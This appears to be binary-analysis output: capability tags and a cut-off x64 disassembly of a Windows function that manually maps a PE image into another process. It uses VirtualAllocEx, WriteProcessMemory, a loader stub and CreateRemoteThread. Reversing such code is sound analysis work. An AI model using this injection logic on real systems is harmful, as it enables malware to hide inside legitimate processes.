Function at 0x140004e10
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x788
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 8], 0
mov rax, qword [rsp + 0x7a8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140004ee1
lea rax, [rbp + 0x6b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x6c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x6b]
movzx r8d, byte [rbp + 0x6c]
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x250]
call fcn.1400020e0
mov rcx, rax
call fcn.140006bd0
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xa6]
call fcn.140002d70
xor al, al
jmp 0x140006602
mov rax, qword [rsp + 0x7a8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x7a8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
add rax, 0x18
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x78]
add rax, 4
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x140004fa1
lea rax, [rbp + 0x11]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x12]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x13]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x11]
movzx r8d, byte [rbp + 0x12]
movzx edx, byte [rbp + 0x13]
lea rcx, [rbp + 0x4e0]
call fcn.1400025d0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0xb8]
call fcn.140002df0
xor al, al
jmp 0x140006602
lea rax, [rbp + 0x14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x15]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x16]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x14]
movzx r8d, byte [rbp + 0x15]
movzx edx, byte [rbp + 0x16]
lea rcx, [rbp + 0x260]
call fcn.1400027b0
mov rcx, rax
call fcn.140006bd0
mov qword [rbp + 0x130], rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xb9]
call fcn.140002cb0
mov rax, qword [rbp + 0x110]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400050cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x104], eax
lea rax, [rbp + 0x17]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x18]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x19]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x17]
movzx r8d, byte [rbp + 0x18]
movzx edx, byte [rbp + 0x19]
lea rcx, [rbp + 0x520]
call fcn.140002800
mov rcx, rax
call fcn.140007220
mov qword [rbp + 0x138], rax
lea r8, [rbp + 0x104]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xba]
call fcn.140003180
xor al, al
jmp 0x140006602
mov dword [rbp + 0x108], 0
mov rax, qword [rbp + 0x110]
mov eax, dword [rax + 0x38]
lea rcx, [rbp + 0x108]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, eax
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp + 0x210]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x210], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x218], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x228], rax
mov eax, dword [rsp + 0x7d8]
mov dword [rbp + 0x238], eax
mov rax, qword [rsp + 0x7e0]
mov qword [rbp + 0x240], rax
movzx eax, byte [rsp + 0x7d0]
mov dword [rbp + 0x248], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x7a8]
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000524c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x10c], eax
lea rax, [rbp + 0x1a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1a]
movzx r8d, byte [rbp + 0x1b]
movzx edx, byte [rbp + 0x1c]
lea rcx, [rbp + 0x500]
call fcn.1400028e0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x140], rax
lea r8, [rbp + 0x10c]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xbb]
call fcn.140003310
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
mov rax, qword [rbp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rbp], rax
mov dword [rbp + 0xa8], 0
jmp 0x140005287
mov eax, dword [rbp + 0xa8]
inc eax
mov dword [rbp + 0xa8], eax
mov rax, qword [rbp]
add rax, 0x28
mov qword [rbp], rax
mov rax, qword [rbp + 0xc8]
movzx eax, word [rax + 2]
cmp dword [rbp + 0xa8], eax
je 0x1400053a4
mov rax, qword [rbp]
cmp dword [rax + 0x10], 0
je 0x14000539f
mov rax, qword [rbp]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x7a8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 8]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000539f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x100], eax
lea rax, [rbp + 0x1d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1d]
movzx r8d, byte [rbp + 0x1e]
movzx edx, byte [rbp + 0x1f]
lea rcx, [rbp + 0x300]
call fcn.140002960
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x148], rax
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xbc]
call fcn.1400032c0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
jmp 0x14000526d
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
xor edx, edx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x80], rax
cmp qword [rbp + 0x80], 0
jne 0x14000547e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x21]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x22]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x20]
movzx r8d, byte [rbp + 0x21]
movzx edx, byte [rbp + 0x22]
lea rcx, [rbp + 0x560]
call fcn.1400029e0
mov rcx, rax
call fcn.140007220
mov qword [rbp + 0x150], rax
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x90]
call fcn.140003130
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp + 0x210]
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140005570
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xe4], eax
lea rax, [rbp + 0x23]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x25]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x23]
movzx r8d, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x25]
lea rcx, [rbp + 0x320]
call fcn.140002ac0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x158], rax
lea r8, [rbp + 0xe4]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x91]
call fcn.1400031d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140005668
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xe8], eax
lea rax, [rbp + 0x26]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x27]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x26]
movzx r8d, byte [rbp + 0x27]
movzx edx, byte [rbp + 0x28]
lea rcx, [rbp + 0x5a0]
call fcn.140002b40
mov rcx, rax
call fcn.140006ef0
mov qword [rbp + 0x160], rax
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x92]
call fcn.1400030e0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x140006610]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140005778
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xec], eax
lea rax, [rbp + 0x29]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x29]
movzx r8d, byte [rbp + 0x2a]
movzx edx, byte [rbp + 0x2b]
lea rcx, [rbp + 0x340]
call fcn.140001bb0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x168], rax
lea r8, [rbp + 0xec]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x93]
call fcn.140003220
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
lea rax, [rbp + 0x2c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2c]
movzx r8d, byte [rbp + 0x2d]
movzx edx, byte [rbp + 0x2e]
lea rcx, [rbp + 0x360]
call fcn.140001c30
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x170], rax
lea r8, [rbp + 8]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x94]
call fcn.140002f00
lea rax, [rbp + 0x2f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2f]
movzx r8d, byte [rbp + 0x30]
movzx edx, byte [rbp + 0x31]
lea rcx, [rbp + 0x380]
call fcn.140001cb0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x178], rax
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x95]
call fcn.140002f50
lea rax, [rbp + 0x32]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x33]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x32]
movzx r8d, byte [rbp + 0x33]
movzx edx, byte [rbp + 0x34]
lea rcx, [rbp + 0x3a0]
call fcn.140001d30
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x180], rax
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x96]
call fcn.140002fa0
lea rax, [rbp + 0x35]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x36]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x37]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x35]
movzx r8d, byte [rbp + 0x36]
movzx edx, byte [rbp + 0x37]
lea rcx, [rbp + 0x270]
call fcn.140001db0
mov rcx, rax
call fcn.140006bd0
mov qword [rbp + 0x188], rax
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x97]
call fcn.140002cf0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x88]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
jne 0x140005a63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xf0], eax
lea rax, [rbp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x39]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x3a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x38]
movzx r8d, byte [rbp + 0x39]
movzx edx, byte [rbp + 0x3a]
lea rcx, [rbp + 0x3c0]
call fcn.140001e00
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x190], rax
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x98]
call fcn.140003270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x3b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x3c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x3d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x3b]
movzx r8d, byte [rbp + 0x3c]
movzx edx, byte [rbp + 0x3d]
lea rcx, [rbp + 0x5e0]
call fcn.140001e80
mov rcx, rax
call fcn.140006ef0
mov qword [rbp + 0x198], rax
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x99]
call fcn.140002ff0
mov qword [rbp + 0xd8], 0
cmp qword [rbp + 0xd8], 0
jne 0x140005d53
mov dword [rbp + 0xac], 0
lea rdx, [rbp + 0xac]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0xac], 0x103
je 0x140005ba1
lea rax, [rbp + 0x3e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x3f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x3e]
movzx r8d, byte [rbp + 0x3f]
movzx edx, byte [rbp + 0x40]
lea rcx, [rbp + 0x3e0]
call fcn.140001f30
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1a0], rax
lea r8, [rbp + 0xac]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x9a]
call fcn.140002eb0
xor al, al
jmp 0x140006602
lea rax, [rbp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp + 0x2b0]
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0x404040
jne 0x140005cca
lea rax, [rbp + 0x41]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x42]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x43]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x41]
movzx r8d, byte [rbp + 0x42]
movzx edx, byte [rbp + 0x43]
lea rcx, [rbp + 0x400]
call fcn.140001fb0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1a8], rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x9b]
call fcn.140002bf0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140006602
cmp qword [rbp + 0xd8], 0x505050
jne 0x140005d43
lea rax, [rbp + 0x44]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x45]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x46]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x44]
movzx r8d, byte [rbp + 0x45]
movzx edx, byte [rbp + 0x46]
lea rcx, [rbp + 0x620]
call fcn.140002030
mov rcx, rax
call fcn.140006ef0
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x9c]
call fcn.140002e30
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005aee
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0
jne 0x140005de2
lea rax, [rbp + 0x47]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x49]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x47]
movzx r8d, byte [rbp + 0x48]
movzx edx, byte [rbp + 0x49]
lea rcx, [rbp + 0x420]
call fcn.140002130
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x9d]
call fcn.140002c70
xor al, al
jmp 0x140006602
mov rdi, qword [rbp + 0xd0]
xor eax, eax
mov ecx, 0x1400000
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x7b8]
test eax, eax
je 0x140005e9a
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rbp + 0xd0]
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140005e9a
lea rax, [rbp + 0x4a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x4b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x4c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x4a]
movzx r8d, byte [rbp + 0x4b]
movzx edx, byte [rbp + 0x4c]
lea rcx, [rbp + 0x440]
call fcn.1400021b0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1c0], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x9e]
call fcn.140002e70
movzx eax, byte [rsp + 0x7c0]
test eax, eax
je 0x140006205
mov rax, qword [rbp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rbp], rax
mov dword [rbp + 0xb0], 0
jmp 0x140005ee5
mov eax, dword [rbp + 0xb0]
inc eax
mov dword [rbp + 0xb0], eax
mov rax, qword [rbp]
add rax, 0x28
mov qword [rbp], rax
mov rax, qword [rbp + 0xc8]
movzx eax, word [rax + 2]
cmp dword [rbp + 0xb0], eax
je 0x140006205
mov rax, qword [rbp]
cmp dword [rax + 8], 0
je 0x140006200
movzx eax, byte [rsp + 0x7d0]
test eax, eax
je 0x140005f25
mov dword [rbp + 0xc0], 0
jmp 0x140005fc0
lea rax, [rbp + 0x4d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x4e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x4f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x4d]
movzx r8d, byte [rbp + 0x4e]
movzx edx, byte [rbp + 0x4f]
lea rcx, [rbp + 0x280]
call fcn.140002230
mov rcx, rax
call fcn.140006bd0
mov rcx, qword [rbp]
mov rcx, qword [rbp]
sub rax, rcx
movzx edx, byte [rcx]
cmp dl, byte [rcx + rax]
jne 0x140005f95
inc rcx
test dl, dl
jne 0x140005f82
xor eax, eax
jmp 0x140005f9a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140005faa
mov dword [rbp + 0xc4], 1
jmp 0x140005fb4
mov dword [rbp + 0xc4], 0
mov eax, dword [rbp + 0xc4]
mov dword [rbp + 0xc0], eax
cmp dword [rbp + 0xc0], 0
jne 0x1400060c3
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x52]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x50]
movzx r8d, byte [rbp + 0x51]
movzx edx, byte [rbp + 0x52]
lea rcx, [rbp + 0x290]
call fcn.140002280
mov rcx, rax
call fcn.140006bd0
mov rcx, qword [rbp]
mov rcx, qword [rbp]
sub rax, rcx
movzx edx, byte [rcx]
cmp dl, byte [rcx + rax]
jne 0x14000603d
inc rcx
test dl, dl
jne 0x14000602a
xor eax, eax
jmp 0x140006042
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400060c3
lea rax, [rbp + 0x53]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x55]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x53]
movzx r8d, byte [rbp + 0x54]
movzx edx, byte [rbp + 0x55]
lea rcx, [rbp + 0x2a0]
call fcn.1400022d0
mov rcx, rax
call fcn.140006bd0
mov rcx, qword [rbp]
mov rcx, qword [rbp]
sub rax, rcx
movzx edx, byte [rcx]
cmp dl, byte [rcx + rax]
jne 0x1400060b6
inc rcx
test dl, dl
jne 0x1400060a3
xor eax, eax
jmp 0x1400060bb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140006200
lea rax, [rbp + 0x56]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x57]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x56]
movzx r8d, byte [rbp + 0x57]
movzx edx, byte [rbp + 0x58]
lea rcx, [rbp + 0x460]
call fcn.140002320
